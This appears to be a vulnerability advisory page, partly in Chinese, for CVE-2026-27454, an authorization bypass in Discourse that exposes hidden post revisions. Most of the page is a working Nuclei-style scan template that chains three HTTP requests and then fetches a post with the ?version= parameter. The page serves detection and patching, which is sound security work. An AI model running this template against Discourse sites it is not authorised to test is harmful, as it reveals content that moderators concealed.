CVE-2026-27454: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.

PoC代码[已公开]

id: CVE-2026-27454

info:
  name: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass
  author: str4k3r
  severity: medium
  description: |
    Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.
  impact: |
    An unauthenticated visitor can retrieve the contents of a hidden post revision that moderators intended to conceal from public viewers.
  remediation: |
    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96
    - https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27454
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-27454
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: discourse
    product: discourse
  tags: cve,cve2026,discourse,idor,exposure,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /posts.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "latest_posts")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: post_id
        part: body
        internal: true
        group: 1
        regex:
          - '"latest_posts":\[\{"id":(\d+)'

  - raw:
      - |
        GET /posts/{{post_id}}.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"version\"")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: pub_version
        part: body
        internal: true
        group: 1
        regex:
          - '"version":(\d+)'

  - raw:
      - |
        GET /posts/{{post_id}}.json?version={{pub_version}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - '!contains(body, "invalid_access")'
          - 'contains(body, "\"cooked\"")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201e2a040b996995c0987f32e920779b869debcdbb54818a1fa20d8ea6aa504fc3022023e8c6a6f47db95a967f698046b0505d92cc106f965b19ef3dd6db4a3abcb51e:922c64590222798bb761d5b6d8e72950